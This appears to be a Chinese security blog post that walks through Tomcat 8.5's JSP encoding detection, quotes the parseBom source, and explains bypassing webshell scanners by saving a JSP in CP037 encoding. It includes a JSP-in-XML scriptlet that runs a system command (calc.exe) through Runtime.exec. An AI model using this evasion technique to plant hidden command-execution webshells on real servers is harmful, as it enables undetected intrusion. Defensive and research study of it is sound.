这里是借鉴了Y4stacker师傅的thinkings
其中EL等标记语言都是在jsp引擎中进行处理的,就是 识别+替换
了解tomcat等服务器运行机理的最好,不了解也没关系,一步步来探究就行了。
这里下载的是8.5版本的
具体的过程,这里就不再仔细写了
开始调试了
直接打开乱码,需要手动加载下jsp解析器
直接访问index.jsp
服务器端收到后,会先去work对应的目录下找是否有缓存,或者叫编译好的文件,有的话,直接用。没有的话就要从index.jsp中读,并解析编译加载。
找到文件后,对文件流先进行编码探测
这里采用的探测方式是读取前4个字节的内容,然后进行判别
private BomResult parseBom(byte[] b4, int count) { if (count < 2) { return new BomResult("UTF-8", 0); } // UTF-16, with BOM int b0 = b4[0] & 0xFF; int b1 = b4[1] & 0xFF; if (b0 == 0xFE && b1 == 0xFF) { // UTF-16, big-endian return new BomResult("UTF-16BE", 2); } if (b0 == 0xFF && b1 == 0xFE) { // UTF-16, little-endian return new BomResult("UTF-16LE", 2); } // default to UTF-8 if we don't have enough bytes to make a // good determination of the encoding if (count < 3) { return new BomResult("UTF-8", 0); } // UTF-8 with a BOM int b2 = b4[2] & 0xFF; if (b0 == 0xEF && b1 == 0xBB && b2 == 0xBF) { return new BomResult("UTF-8", 3); } // default to UTF-8 if we don't have enough bytes to make a // good determination of the encoding if (count < 4) { return new BomResult("UTF-8", 0); } // Other encodings. No BOM. Try and ID encoding. int b3 = b4[3] & 0xFF; if (b0 == 0x00 && b1 == 0x00 && b2 == 0x00 && b3 == 0x3C) { // UCS-4, big endian (1234) return new BomResult("ISO-10646-UCS-4", 0); } if (b0 == 0x3C && b1 == 0x00 && b2 == 0x00 && b3 == 0x00) { // UCS-4, little endian (4321) return new BomResult("ISO-10646-UCS-4", 0); } if (b0 == 0x00 && b1 == 0x00 && b2 == 0x3C && b3 == 0x00) { // UCS-4, unusual octet order (2143) // REVISIT: What should this be? return new BomResult("ISO-10646-UCS-4", 0); } if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x00) { // UCS-4, unusual octet order (3412) // REVISIT: What should this be? return new BomResult("ISO-10646-UCS-4", 0); } if (b0 == 0x00 && b1 == 0x3C && b2 == 0x00 && b3 == 0x3F) { // UTF-16, big-endian, no BOM // (or could turn out to be UCS-2... // REVISIT: What should this be? return new BomResult("UTF-16BE", 0); } if (b0 == 0x3C && b1 == 0x00 && b2 == 0x3F && b3 == 0x00) { // UTF-16, little-endian, no BOM // (or could turn out to be UCS-2... return new BomResult("UTF-16LE", 0); } if (b0 == 0x4C && b1 == 0x6F && b2 == 0xA7 && b3 == 0x94) { // EBCDIC // a la xerces1, return CP037 instead of EBCDIC here return new BomResult("CP037", 0); } // default encoding return new BomResult("UTF-8", 0); }
由上面的编码解析可以知道,如果文件采用的是规定的诸多编码方式之一就可以被jsp解析器正常解析。解析器会先对流进行一个编码探测,然后再进行编码及解析。
这就和之前说的jsp免杀原理有些关联。大部分的查杀软件都是基于正则表达式进行匹配的,而对于一个文件流,查杀软件也比不可能对所有的编码形式都进行一次转换再来用正则匹配,这无疑会占据较高性能。所以如果使用了偏门的编码,查杀文件无法解析,但jsp解析器能正常解析,就达到免杀的目的。
这里用最奇怪的“CP037”进行编码。
CP037要求的格式是前四个字节需要满足对应的关系
这里采用了Y4tacker师傅的用xml写jsp,第一次知道还可以这么操作。后来一想能用h5,就能用xml吧,毕竟两者是相近的标记语言
这里之所以判断是xml文件,是因为字节流经过cp037解码后是<?xm。所以如果采用其他的编码方式,应该先用对应的编码方式进行解码操作,判断指定字符串。
写的时候出现了两个问题
<?xml version="1.0" encoding="cp037" ?><jsp:root version="1.2" xmlns:jsp="http://java.sun.com/JSP/Page"> <jsp:directive.page contentType="text/html"/> <jsp:directive.page import="java.io.*"/> <jsp:declaration> </jsp:declaration> <jsp:scriptlet> Process process = Runtime.getRuntime().exec("calc.exe"); BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream())); String line = ""; while((line=in.readLine())!=null){ out.write(line+"\n"); } </jsp:scriptlet> <jsp:text> </jsp:text></jsp:root>
先将代码用python进行cp037编码,再加载到web中